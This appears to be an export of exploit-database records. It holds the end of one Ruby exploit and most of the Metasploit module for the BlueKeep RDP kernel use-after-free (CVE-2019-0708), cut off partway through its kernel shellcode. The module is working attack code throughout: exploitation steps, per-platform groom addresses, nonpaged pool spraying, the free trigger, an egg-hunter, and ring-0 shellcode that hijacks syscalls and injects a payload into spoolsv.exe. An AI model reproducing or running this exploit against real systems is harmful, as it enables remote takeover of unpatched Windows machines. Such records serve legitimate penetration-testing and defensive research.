ActiveCount (SHORT, 2 bytes)\r\n        0x0, # Flag (WORD, 2 bytes)\r\n        0x0, # Padding (BYTE[4], 4 bytes) x64 only\r\n        0x0, # SharedWaters (Pointer to KSEMAPHORE, 8 bytes)\r\n        0x0, # ExclusiveWaiters (Pointer to KSEVENT, 8 bytes)\r\n        magic_value2, # OwnerThread (ULONG, 8 bytes)\r\n        magic_value2, # TableSize (ULONG, 8 bytes)\r\n        0x0, # ActiveEntries (DWORD, 4 bytes)\r\n        0x0, # ContenttionCount (DWORD, 4 bytes)\r\n        0x0, # NumberOfSharedWaiters (DWORD, 4 bytes)\r\n        0x0, # NumberOfExclusiveWaiters (DWORD, 4 bytes)\r\n        0x0, # Reserved2 (PVOID, 8 bytes) x64 only\r\n        magic_value2, # Address (PVOID, 8 bytes)\r\n        0x0, # SpinLock (UINT_PTR, 8 bytes)\r\n      ].pack('<Q<Q<Q<S<S<L<Q<Q<Q<Q<L<L<L<L<Q<Q<Q'),\r\n      [\r\n        0x1F, # ClassOffset (DWORD, 4 bytes)\r\n        0x0, # bindStatus (DWORD, 4 bytes)\r\n        0x72, # lockCount1 (QWORD, 8 bytes)\r\n        magic_value3, # connection (QWORD, 8 bytes)\r\n        shellcode_vtbl, # shellcode vtbl ? (QWORD, 8 bytes)\r\n        0x5, # channelClass (DWORD, 4 bytes)\r\n        \"MS_T120\\x00\".encode('ASCII'), # channelName (BYTE[8], 8 bytes)\r\n        0x1F, # channelIndex (DWORD, 4 bytes)\r\n        magic_value1, # channels (QWORD, 8 bytes)\r\n        magic_value1, # connChannelsAddr (POINTER, 8 bytes)\r\n        magic_value1, # list1 (QWORD, 8 bytes)\r\n        magic_value1, # list1 (QWORD, 8 bytes)\r\n        magic_value1, # list2 (QWORD, 8 bytes)\r\n        magic_value1, # list2 (QWORD, 8 bytes)\r\n        0x65756c62, # inputBufferLen (DWORD, 4 bytes)\r\n        0x7065656b, # inputBufferLen (DWORD, 4 bytes)\r\n        magic_value1, # connResrouce (QWORD, 8 bytes)\r\n        0x65756c62, # lockCount158 (DWORD, 4 bytes)\r\n        0x7065656b, # dword15C (DWORD, 4 bytes)\r\n      ].pack('<L<L<Q<Q<Q<La*<L<Q<Q<Q<Q<Q<Q<L<L<Q<L<L')\r\n    ].join('')\r\n  end\r\n\r\nend\n\n#  0day.today [2019-12-04]  #",
        "cvss": {
            "score": 10.0,
            "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"
        },
        "sourceHref": "https://0day.today/exploit/33275",
        "vhref": "https://vulners.com/zdt/1337DAY-ID-33275"
    },
    {
        "lastseen": "2019-09-24T06:46:41",
        "bulletinFamily": "exploit",
        "description": "",
        "modified": "2019-09-23T00:00:00",
        "published": "2019-09-23T00:00:00",
        "id": "PACKETSTORM:154579",
        "href": "https://packetstormsecurity.com/files/154579/BlueKeep-RDP-Remote-Windows-Kernel-Use-After-Free.html",
        "type": "packetstorm",
        "title": "BlueKeep RDP Remote Windows Kernel Use-After-Free",
        "sourceData": "`##  \n# This module requires Metasploit: https://metasploit.com/download  \n# Current source: https://github.com/rapid7/metasploit-framework  \n##  \n  \n# Exploitation and Caveats from zerosum0x0:  \n#  \n# 1. Register with channel MS_T120 (and others such as RDPDR/RDPSND) nominally.  \n# 2. Perform a full RDP handshake, I like to wait for RDPDR handshake too (code in the .py)  \n# 3. Free MS_T120 with the DisconnectProviderIndication message to MS_T120.  \n# 4. RDP has chunked messages, so we use this to groom.  \n# a. Chunked messaging ONLY works properly when sent to RDPSND/MS_T120.  \n# b. However, on 7+, MS_T120 will not work and you have to use RDPSND.  \n# i. RDPSND only works when  \n# HKLM\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Winstations\\RDP-Tcp\\fDisableCam = 0  \n# ii. This registry key is not a default setting for server 2008 R2.  \n# We should use alternate groom channels or at least detect the  \n# channel in advance.  \n# 5. Use chunked grooming to fit new data in the freed channel, account for  \n# the allocation header size (like 0x38 I think?). At offset 0x100? is where  \n# the \"call [rax]\" gadget will get its pointer from.  \n# a. The NonPagedPool (NPP) starts at a fixed address on XP-7  \n# i. Hot-swap memory is another problem because, with certain VMWare and  \n# Hyper-V setups, the OS allocates a buncha PTE stuff before the NPP  \n# start. This can be anywhere from 100 mb to gigabytes of offset  \n# before the NPP start.  \n# b. Set offset 0x100 to NPPStart+SizeOfGroomInMB  \n# c. Groom chunk the shellcode, at *(NPPStart+SizeOfGroomInMB) you need  \n# [NPPStart+SizeOfGroomInMB+8...payload]... because \"call [rax]\" is an  \n# indirect call  \n# d. We are limited to 0x400 payloads by channel chunk max size. My  \n# current shellcode is a twin shellcode with eggfinders. I spam the  \n# kernel payload and user payload, and if user payload is called first it  \n# will egghunt for the kernel payload.  \n# 6. After channel hole is filled and the NPP is spammed up with shellcode,  \n# trigger the free by closing the socket.  \n#  \n# TODO:  \n# * Detect OS specifics / obtain memory leak to determine NPP start address.  \n# * Write the XP/2003 portions grooming MS_T120.  \n# * Detect if RDPSND grooming is working or not?  \n# * Expand channels besides RDPSND/MS_T120 for grooming.  \n# See https://unit42.paloaltonetworks.com/exploitation-of-windows-cve-2019-0708-bluekeep-three-ways-to-write-data-into-the-kernel-with-rdp-pdu/  \n#  \n# https://github.com/0xeb-bp/bluekeep .. this repo has code for grooming  \n# MS_T120 on XP... should be same process as the RDPSND  \n  \nclass MetasploitModule < Msf::Exploit::Remote  \n  \nRank = ManualRanking  \n  \nUSERMODE_EGG = 0xb00dac0fefe31337  \nKERNELMODE_EGG = 0xb00dac0fefe42069  \n  \nCHUNK_SIZE = 0x400  \nHEADER_SIZE = 0x48  \n  \ninclude Msf::Exploit::Remote::RDP  \ninclude Msf::Exploit::Remote::CheckScanner  \n  \ndef initialize(info = {})  \nsuper(update_info(info,  \n'Name' => 'CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free',  \n'Description' => %q(  \nThe RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120,  \nallowing a malformed Disconnect Provider Indication message to cause use-after-free.  \nWith a controllable data/size remote nonpaged pool spray, an indirect call gadget of  \nthe freed channel is used to achieve arbitrary code execution.  \n),  \n'Author' =>  \n[  \n'Sean Dillon <sean.dillon@risksense.com>', # @zerosum0x0 - Original exploit  \n'Ryan Hanson', # @ryHanson - Original exploit  \n'OJ Reeves <oj@beyondbinary.io>', # @TheColonial - Metasploit module  \n'Brent Cook <bcook@rapid7.com>', # @busterbcook - Assembly whisperer  \n],  \n'License' => MSF_LICENSE,  \n'References' =>  \n[  \n['CVE', '2019-0708'],  \n['URL', 'https://github.com/zerosum0x0/CVE-2019-0708'],  \n],  \n'DefaultOptions' =>  \n{  \n'EXITFUNC' => 'thread',  \n'WfsDelay' => 5,  \n'RDP_CLIENT_NAME' => 'ethdev',  \n'CheckScanner' => 'auxiliary/scanner/rdp/cve_2019_0708_bluekeep'  \n},  \n'Privileged' => true,  \n'Payload' =>  \n{  \n'Space' => CHUNK_SIZE - HEADER_SIZE,  \n'EncoderType' => Msf::Encoder::Type::Raw,  \n},  \n'Platform' => 'win',  \n'Targets' =>  \n[  \n[  \n'Automatic targeting via fingerprinting',  \n{  \n'Arch' => [ARCH_X64],  \n'FingerprintOnly' => true  \n},  \n],  \n#  \n#  \n# Windows 2008 R2 requires the following registry change from default:  \n#  \n# [HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Terminal Server\\WinStations\\rdpwd]  \n# \"fDisableCam\"=dword:00000000  \n#  \n[  \n'Windows 7 SP1 / 2008 R2 (6.1.7601 x64)',  \n{  \n'Platform' => 'win',  \n'Arch' => [ARCH_X64],  \n'GROOMBASE' => 0xfffffa8003800000,  \n'GROOMSIZE' => 100  \n}  \n],  \n[  \n# This works with Virtualbox 6  \n'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox 6)',  \n{  \n'Platform' => 'win',  \n'Arch' => [ARCH_X64],  \n'GROOMBASE' => 0xfffffa8002407000  \n}  \n],  \n[  \n# This address works on VMWare 14  \n'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 14)',  \n{  \n'Platform' => 'win',  \n'Arch' => [ARCH_X64],  \n'GROOMBASE' => 0xfffffa8030c00000  \n}  \n],  \n[  \n# This address works on VMWare 15  \n'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15)',  \n{  \n'Platform' => 'win',  \n'Arch' => [ARCH_X64],  \n'GROOMBASE' => 0xfffffa8018C00000  \n}  \n],  \n[  \n# This address works on VMWare 15.1  \n'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1)',  \n{  \n'Platform' => 'win',  \n'Arch' => [ARCH_X64],  \n'GROOMBASE' => 0xfffffa8018c08000  \n}  \n],  \n[  \n'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)',  \n{  \n'Platform' => 'win',  \n'Arch' => [ARCH_X64],  \n'GROOMBASE' => 0xfffffa8102407000  \n}  \n],  \n[  \n'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - AWS)',  \n{  \n'Platform' => 'win',  \n'Arch' => [ARCH_X64],  \n'GROOMBASE' => 0xfffffa8018c08000  \n}  \n],  \n],  \n'DefaultTarget' => 0,  \n'DisclosureDate' => 'May 14 2019',  \n'Notes' =>  \n{  \n'AKA' => ['Bluekeep']  \n}  \n))  \n  \nregister_advanced_options(  \n[  \nOptBool.new('ForceExploit', [false, 'Override check result', false]),  \nOptInt.new('GROOMSIZE', [true, 'Size of the groom in MB', 250]),  \nOptEnum.new('GROOMCHANNEL', [true, 'Channel to use for grooming', 'RDPSND', ['RDPSND', 'MS_T120']]),  \nOptInt.new('GROOMCHANNELCOUNT', [true, 'Number of channels to groom', 1]),  \n]  \n)  \nend  \n  \ndef exploit  \nunless check == CheckCode::Vulnerable || datastore['ForceExploit']  \nfail_with(Failure::NotVulnerable, 'Set ForceExploit to override')  \nend  \n  \nif target['FingerprintOnly']  \nfail_with(Msf::Module::Failure::BadConfig, 'Set the most appropriate target manually')  \nend  \n  \nbegin  \nrdp_connect  \nrescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError  \nfail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service')  \nend  \n  \nis_rdp, server_selected_proto = rdp_check_protocol  \nunless is_rdp  \nfail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service')  \nend  \n  \n# We don't currently support NLA in the mixin or the exploit. However, if we have valid creds, NLA shouldn't stop us  \n# from exploiting the target.  \nif [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include?(server_selected_proto)  \nfail_with(Msf::Module::Failure::BadConfig, 'Server requires NLA (CredSSP) security which mitigates this vulnerability.')  \nend  \n  \nchans = [  \n['rdpdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP],  \n[datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],  \n[datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],  \n['MS_XXX0', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],  \n['MS_XXX1', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],  \n['MS_XXX2', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],  \n['MS_XXX3', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],  \n['MS_XXX4', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],  \n['MS_XXX5', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],  \n['MS_T120', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],  \n]  \n  \n@mst120_chan_id = 1004 + chans.length - 1  \n  \nunless rdp_negotiate_security(chans, server_selected_proto)  \nfail_with(Msf::Module::Failure::Unknown, 'Negotiation of security failed.')  \nend  \n  \nrdp_establish_session  \n  \nrdp_dispatch_loop  \nend  \n  \nprivate  \n  \n# This function is invoked when the PAKID_CORE_CLIENTID_CONFIRM message is  \n# received on a channel, and this is when we need to kick off our exploit.  \ndef rdp_on_core_client_id_confirm(pkt, user, chan_id, flags, data)  \n# We have to do the default behaviour first.  \nsuper(pkt, user, chan_id, flags, data)  \n  \ngroom_size = datastore['GROOMSIZE']  \npool_addr = target['GROOMBASE'] + (CHUNK_SIZE * 1024 * groom_size)  \ngroom_chan_count = datastore['GROOMCHANNELCOUNT']  \n  \npayloads = create_payloads(pool_addr)  \n  \nprint_status(\"Using CHUNK grooming strategy. Size #{groom_size}MB, target address 0x#{pool_addr.to_s(16)}, Channel count #{groom_chan_count}.\")  \n  \ntarget_channel_id = chan_id + 1  \n  \nspray_buffer = create_exploit_channel_buffer(pool_addr)  \nspray_channel = rdp_create_channel_msg(self.rdp_user_id, target_channel_id, spray_buffer, 0, 0xFFFFFFF)  \nfree_trigger = spray_channel * 20 + create_free_trigger(self.rdp_user_id, @mst120_chan_id) + spray_channel * 80  \n  \nprint_status(\"Surfing channels ...\")  \nrdp_send(spray_channel * 1024)  \nrdp_send(free_trigger)  \n  \nchan_surf_size = 0x421  \nspray_packets = (chan_surf_size / spray_channel.length) + [1, chan_surf_size % spray_channel.length].min  \nchan_surf_packet = spray_channel * spray_packets  \nchan_surf_count = chan_surf_size / spray_packets  \n  \nchan_surf_count.times do  \nrdp_send(chan_surf_packet)  \nend  \n  \nprint_status(\"Lobbing eggs ...\")  \n  \ngroom_mb = groom_size * 1024 / payloads.length  \n  \ngroom_mb.times do  \ntpkts = ''  \nfor c in 0..groom_chan_count  \npayloads.each do |p|  \ntpkts += rdp_create_channel_msg(self.rdp_user_id, target_channel_id + c, p, 0, 0xFFFFFFF)  \nend  \nend  \nrdp_send(tpkts)  \nend  \n  \n# Terminating and disconnecting forces the USE  \nprint_status(\"Forcing the USE of FREE'd object ...\")  \nrdp_terminate  \nrdp_disconnect  \nend  \n  \n# Helper function to create the kernel mode payload and the usermode payload with  \n# the egg hunter prefix.  \ndef create_payloads(pool_address)  \nbegin  \n[kernel_mode_payload, user_mode_payload].map { |p|  \n[  \npool_address + HEADER_SIZE + 0x10, # indirect call gadget, over this pointer + egg  \np  \n].pack('<Qa*').ljust(CHUNK_SIZE - HEADER_SIZE, \"\\x00\")  \n}  \nrescue => ex  \nprint_error(\"#{ex.backtrace.join(\"\\n\")}: #{ex.message} (#{ex.class})\")  \nend  \nend  \n  \ndef assemble_with_fixups(asm)  \n# Rewrite all instructions of form 'lea reg, [rel label]' as relative  \n# offsets for the instruction pointer, since metasm's 'ModRM' parser does  \n# not grok that syntax.  \nlea_rel = /lea+\\s(?<dest>\\w{2,3}),*\\s\\[rel+\\s(?<label>[a-zA-Z_].*)\\]/  \nasm.gsub!(lea_rel) do |match|  \nmatch = \"lea #{$1}, [rip + #{$2}]\"  \nend  \n  \n# metasm encodes all rep instructions as repnz  \n# https://github.com/jjyg/metasm/pull/40  \nasm.gsub!(/rep+\\smovsb/, 'db 0xf3, 0xa4')  \n  \nencoded = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encoded  \n  \n# Fixup above rewritten instructions with the relative label offsets  \nencoded.reloc.each do |offset, reloc|  \ntarget = reloc.target.to_s  \nif encoded.export.key?(target)  \n# Note: this assumes the address we're fixing up is at the end of the  \n# instruction. This holds for 'lea' but if there are other fixups  \n# later, this might need to change to account for specific instruction  \n# encodings  \nif reloc.type == :i32  \ninstr_offset = offset + 4  \nelsif reloc.type == :i16  \ninstr_offset = offset + 2  \nend  \nencoded.fixup(target => encoded.export[target] - instr_offset)  \nelse  \nraise \"Unknown symbol '#{target}' while resolving relative offsets\"  \nend  \nend  \nencoded.fill  \nencoded.data  \nend  \n  \n# The user mode payload has two parts. The first is an egg hunter that searches for  \n# the kernel mode payload. The second part is the actual payload that's invoked in  \n# user land (ie. it's injected into spoolsrv.exe). We need to spray both the kernel  \n# and user mode payloads around the heap in different packets because we don't have  \n# enough space to put them both in the same chunk. Given that code exec can result in  \n# landing on the user land payload, the egg is used to go to a kernel payload.  \ndef user_mode_payload  \n  \nasm = %Q^  \n_start:  \nlea rcx, [rel _start]  \nmov r8, 0x#{KERNELMODE_EGG.to_s(16)}  \n_egg_loop:  \nsub rcx, 0x#{CHUNK_SIZE.to_s(16)}  \nsub rax, 0x#{CHUNK_SIZE.to_s(16)}  \nmov rdx, [rcx - 8]  \ncmp rdx, r8  \njnz _egg_loop  \njmp rcx  \n^  \negg_loop = assemble_with_fixups(asm)  \n  \n# The USERMODE_EGG is required at the start as well, because the exploit code  \n# assumes the tag is there, and jumps over it to find the shellcode.  \n[  \nUSERMODE_EGG,  \negg_loop,  \nUSERMODE_EGG,  \npayload.raw  \n].pack('<Qa*<Qa*')  \nend  \n  \ndef kernel_mode_payload  \n  \n# Windows x64 kernel shellcode from ring 0 to ring 3 by sleepya  \n#  \n# This shellcode was written originally for eternalblue exploits  \n# eternalblue_exploit7.py and eternalblue_exploit8.py  \n#  \n# Idea for Ring 0 to Ring 3 via APC from Sean Dillon (@zerosum0x0)  \n#  \n# Note:  \n# - The userland shellcode is run in a new thread of system process.  \n# If userland shellcode causes any exception, the system process get killed.  \n# - On idle target with multiple core processors, the hijacked system call  \n# might take a while (> 5 minutes) to get called because the system  \n# call may be called on other processors.  \n# - The shellcode does not allocate shadow stack if possible for minimal shellcode size.  \n# This is ok because some Windows functions do not require a shadow stack.  \n# - Compiling shellcode with specific Windows version macro, corrupted buffer will be freed.  \n# Note: the Windows 8 version macros are removed below  \n# - The userland payload MUST be appened to this shellcode.  \n#  \n# References:  \n# - http://www.geoffchappell.com/studies/windows/km/index.htm (structures info)  \n# - https://github.com/reactos/reactos/blob/master/reactos/ntoskrnl/ke/apc.c  \n  \ndata_kapc_offset = 0x10  \ndata_nt_kernel_addr_offset = 0x8  \ndata_origin_syscall_offset = 0  \ndata_peb_addr_offset = -0x10  \ndata_queueing_kapc_offset = -0x8  \nhal_heap_storage = 0xffffffffffd04100  \n  \n# These hashes are not the same as the ones used by the  \n# Block API so they have to be hard-coded.  \ncreatethread_hash = 0x835e515e  \nkeinitializeapc_hash = 0x6d195cc4  \nkeinsertqueueapc_hash = 0xafcc4634  \npsgetcurrentprocess_hash = 0xdbf47c78  \npsgetprocessid_hash = 0x170114e1  \npsgetprocessimagefilename_hash = 0x77645f3f  \npsgetprocesspeb_hash = 0xb818b848  \npsgetthreadteb_hash = 0xcef84c3e  \nspoolsv_exe_hash = 0x3ee083d8  \nzwallocatevirtualmemory_hash = 0x576e99ea  \n  \nasm = %Q^  \nshellcode_start:  \nnop  \nnop  \nnop  \nnop  \n; IRQL is DISPATCH_LEVEL when got code execution  \n  \npush rbp  \n  \ncall set_rbp_data_address_fn  \n  \n; read current syscall  \nmov ecx, 0xc0000082  \nrdmsr  \n; do NOT replace saved original syscall address with hook syscall  \nlea r9, [rel syscall_hook]  \ncmp eax, r9d  \nje _setup_syscall_hook_done  \n  \n; if (saved_original_syscall != &KiSystemCall64) do_first_time_initialize  \ncmp dword [rbp+#{data_origin_syscall_offset}], eax  \nje _hook_syscall  \n  \n; save original syscall  \nmov dword [rbp+#{data_origin_syscall_offset}+4], edx  \nmov dword [rbp+#{data_origin_syscall_offset}], eax  \n  \n; first time on the target  \nmov byte [rbp+#{data_queueing_kapc_offset}], 0  \n  \n_hook_syscall:  \n; set a new syscall on running processor  \n; setting MSR 0xc0000082 affects only running processor  \nxchg r9, rax  \npush rax  \npop rdx ; mov rdx, rax  \nshr rdx, 32  \nwrmsr  \n  \n_setup_syscall_hook_done:  \npop rbp  \n  \n;--------------------- HACK crappy thread cleanup --------------------  \n; This code is effectively the same as the epilogue of the function that calls  \n; the vulnerable function in the kernel, with a tweak or two.  \n  \n; TODO: make the lock not suck!!  \nmov rax, qword [gs:0x188]  \nadd word [rax+0x1C4], 1 ; KeGetCurrentThread()->KernelApcDisable++  \nlea r11, [rsp+0b8h]  \nxor eax, eax  \nmov rbx, [r11+30h]  \nmov rbp, [r11+40h]  \nmov rsi, [r11+48h]  \nmov rsp, r11  \npop r15  \npop r14  \npop r13  \npop r12  \npop rdi  \nret  \n  \n;--------------------- END HACK crappy thread cleanup  \n  \n;========================================================================  \n; Find memory address in HAL heap for using as data area  \n; Return: rbp = data address  \n;========================================================================  \nset_rbp_data_address_fn:  \n; On idle target without user application, syscall on hijacked processor might not be called immediately.  \n; Find some address to store the data, the data in this address MUST not be modified  \n; when exploit is rerun before syscall is called  \n;lea rbp, [rel _set_rbp_data_address_fn_next + 0x1000]  \n  \n; ------ HACK rbp wasnt valid!  \n  \nmov rbp, #{hal_heap_storage} ; TODO: use some other buffer besides HAL heap??  \n  \n; --------- HACK end rbp  \n  \n_set_rbp_data_address_fn_next:  \n;shr rbp, 12  \n;shl rbp, 12  \n;sub rbp, 0x70 ; for KAPC struct too  \nret  \n  \n;int 3  \n;call $+5  \n;pop r13  \nsyscall_hook:  \nswapgs  \nmov qword [gs:0x10], rsp  \nmov rsp, qword [gs:0x1a8]  \npush 0x2b  \npush qword [gs:0x10]  \n  \npush rax ; want this stack space to store original syscall addr  \n; save rax first to make this function continue to real syscall  \npush rax  \npush rbp ; save rbp here because rbp is special register for accessing this shellcode data  \ncall set_rbp_data_address_fn  \nmov rax, [rbp+#{data_origin_syscall_offset}]  \nadd rax, 0x1f ; adjust syscall entry, so we do not need to reverse start of syscall handler  \nmov [rsp+0x10], rax  \n  \n; save all volatile registers  \npush rcx  \npush rdx  \npush r8  \npush r9  \npush r10  \npush r11  \n  \n; use lock cmpxchg for queueing APC only one at a time  \nxor eax, eax  \nmov dl, 1  \nlock cmpxchg byte [rbp+#{data_queueing_kapc_offset}], dl  \njnz _syscall_hook_done  \n  \n;======================================  \n; restore syscall  \n;======================================  \n; an error after restoring syscall should never occur  \nmov ecx, 0xc0000082  \nmov eax, [rbp+#{data_origin_syscall_offset}]  \nmov edx, [rbp+#{data_origin_syscall_offset}+4]  \nwrmsr  \n  \n; allow interrupts while executing shellcode  \nsti  \ncall r3_to_r0_start  \ncli  \n  \n_syscall_hook_done:  \npop r11  \npop r10  \npop r9  \npop r8  \npop rdx  \npop rcx  \npop rbp  \npop rax  \nret  \n  \nr3_to_r0_start:  \n; save used non-volatile registers  \npush r15  \npush r14  \npush rdi  \npush rsi  \npush rbx  \npush rax ; align stack by 0x10  \n  \n;======================================  \n; find nt kernel address  \n;======================================  \nmov r15, qword [rbp+#{data_origin_syscall_offset}] ; KiSystemCall64 is an address in nt kernel  \nshr r15, 0xc ; strip to page size  \nshl r15, 0xc  \n  \n_x64_find_nt_walk_page:  \nsub r15, 0x1000 ; walk along page size  \ncmp word [r15], 0x5a4d ; 'MZ' header  \njne _x64_find_nt_walk_page  \n  \n; save nt address for using in KernelApcRoutine  \nmov [rbp+#{data_nt_kernel_addr_offset}], r15  \n  \n;======================================  \n; get current EPROCESS and ETHREAD  \n;======================================  \nmov r14, qword [gs:0x188] ; get _ETHREAD pointer from KPCR  \nmov edi, #{psgetcurrentprocess_hash}  \ncall win_api_direct  \nxchg rcx, rax ; rcx = EPROCESS  \n  \n; r15 : nt kernel address  \n; r14 : ETHREAD  \n; rcx : EPROCESS  \n  \n;======================================  \n; find offset of EPROCESS.ImageFilename  \n;======================================  \nmov edi, #{psgetprocessimagefilename_hash}  \ncall get_proc_addr  \nmov eax, dword [rax+3] ; get offset from code (offset of ImageFilename is always > 0x7f)  \nmov ebx, eax ; ebx = offset of EPROCESS.ImageFilename  \n  \n  \n;======================================  \n; find offset of EPROCESS.ThreadListHead  \n;======================================  \n; possible diff from ImageFilename offset is 0x28 and 0x38 (Win8+)  \n; if offset of ImageFilename is more than 0x400, current is (Win8+)  \n  \ncmp eax, 0x400 ; eax is still an offset of EPROCESS.ImageFilename  \njb _find_eprocess_threadlist_offset_win7  \nadd eax, 0x10  \n_find_eprocess_threadlist_offset_win7:  \nlea rdx, [rax+0x28] ; edx = offset of EPROCESS.ThreadListHead  \n  \n;======================================  \n; find offset of ETHREAD.ThreadListEntry  \n;======================================  \n  \nlea r8, [rcx+rdx] ; r8 = address of EPROCESS.ThreadListHead  \nmov r9, r8  \n  \n; ETHREAD.ThreadListEntry must be between ETHREAD (r14) and ETHREAD+0x700  \n_find_ethread_threadlist_offset_loop:  \nmov r9, qword [r9]  \n  \ncmp r8, r9 ; check end of list  \nje _insert_queue_apc_done ; not found !!!  \n  \n; if (r9 - r14 < 0x700) found  \nmov rax, r9  \nsub rax, r14  \ncmp rax, 0x700  \nja _find_ethread_threadlist_offset_loop  \nsub r14, r9 ; r14 = -(offset of ETHREAD.ThreadListEntry)  \n  \n  \n;======================================  \n; find offset of EPROCESS.ActiveProcessLinks  \n;======================================  \nmov edi, #{psgetprocessid_hash}  \ncall get_proc_addr  \nmov edi, dword [rax+3] ; get offset from code (offset of UniqueProcessId is always > 0x7f)  \nadd edi, 8 ; edi = offset of EPROCESS.ActiveProcessLinks = offset of EPROCESS.UniqueProcessId + sizeof(EPROCESS.UniqueProcessId)  \n  \n  \n;======================================  \n; find target process by iterating over EPROCESS.ActiveProcessLinks WITHOUT lock  \n;======================================  \n; check process name  \n  \n  \nxor eax, eax ; HACK to exit earlier if process not found  \n  \n_find_target_process_loop:  \nlea rsi, [rcx+rbx]  \n  \npush rax  \ncall calc_hash  \ncmp eax, #{spoolsv_exe_hash} ; \"spoolsv.exe\"  \npop rax  \njz found_target_process  \n  \n;---------- HACK PROCESS NOT FOUND start -----------  \ninc rax  \ncmp rax, 0x300 ; HACK not found!  \njne _next_find_target_process  \nxor ecx, ecx  \n; clear queueing kapc flag, allow other hijacked system call to run shellcode  \nmov byte [rbp+#{data_queueing_kapc_offset}], cl  \n  \njmp _r3_to_r0_done  \n  \n;---------- HACK PROCESS NOT FOUND end -----------  \n  \n_next_find_target_process:  \n; next process  \nmov rcx, [rcx+rdi]  \nsub rcx, rdi  \njmp _find_target_process_loop  \n  \n  \nfound_target_process:  \n; The allocation for userland payload will be in KernelApcRoutine.  \n; KernelApcRoutine is run in a target process context. So no need to use KeStackAttachProcess()  \n  \n;======================================  \n; save process PEB for finding CreateThread address in kernel KAPC routine  \n;======================================  \nmov edi, #{psgetprocesspeb_hash}  \n; rcx is EPROCESS. no need to set it.  \ncall win_api_direct  \nmov [rbp+#{data_peb_addr_offset}], rax  \n  \n  \n;======================================  \n; iterate ThreadList until KeInsertQueueApc() success  \n;======================================  \n; r15 = nt  \n; r14 = -(offset of ETHREAD.ThreadListEntry)  \n; rcx = EPROCESS  \n; edx = offset of EPROCESS.ThreadListHead  \n  \n  \nlea rsi, [rcx + rdx] ; rsi = ThreadListHead address  \nmov rbx, rsi ; use rbx for iterating thread  \n  \n; checking alertable from ETHREAD structure is not reliable because each Windows version has different offset.  \n; Moreover, alertable thread need to be waiting state which is more difficult to check.  \n; try queueing APC then check KAPC member is more reliable.  \n  \n_insert_queue_apc_loop:  \n; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front  \nmov rbx, [rbx+8]  \n  \ncmp rsi, rbx  \nje _insert_queue_apc_loop ; skip list head  \n  \n; find start of ETHREAD address  \n; set it to rdx to be used for KeInitializeApc() argument too  \nlea rdx, [rbx + r14] ; ETHREAD  \n  \n; userland shellcode (at least CreateThread() function) need non NULL TEB.ActivationContextStackPointer.  \n; the injected process will be crashed because of access violation if TEB.ActivationContextStackPointer is NULL.  \n; Note: APC routine does not require non-NULL TEB.ActivationContextStackPointer.  \n; from my observation, KTRHEAD.Queue is always NULL when TEB.ActivationContextStackPointer is NULL.  \n; Teb member is next to Queue member.  \nmov edi, #{psgetthreadteb_hash}  \ncall get_proc_addr  \nmov eax, dword [rax+3] ; get offset from code (offset of Teb is always > 0x7f)  \ncmp qword [rdx+rax-8], 0 ; KTHREAD.Queue MUST not be NULL  \nje _insert_queue_apc_loop  \n  \n; KeInitializeApc(PKAPC,  \n; PKTHREAD,  \n; KAPC_ENVIRONMENT = OriginalApcEnvironment (0),  \n; PKKERNEL_ROUTINE = kernel_apc_routine,  \n; PKRUNDOWN_ROUTINE = NULL,  \n; PKNORMAL_ROUTINE = userland_shellcode,  \n; KPROCESSOR_MODE = UserMode (1),  \n; PVOID Context);  \nlea rcx, [rbp+#{data_kapc_offset}] ; PAKC  \nxor r8, r8 ; OriginalApcEnvironment  \nlea r9, [rel kernel_kapc_routine] ; KernelApcRoutine  \npush rbp ; context  \npush 1 ; UserMode  \npush rbp ; userland shellcode (MUST NOT be NULL)  \npush r8 ; NULL  \nsub rsp, 0x20 ; shadow stack  \nmov edi, #{keinitializeapc_hash}  \ncall win_api_direct  \n; Note: KeInsertQueueApc() requires shadow stack. Adjust stack back later  \n  \n; BOOLEAN KeInsertQueueApc(PKAPC, 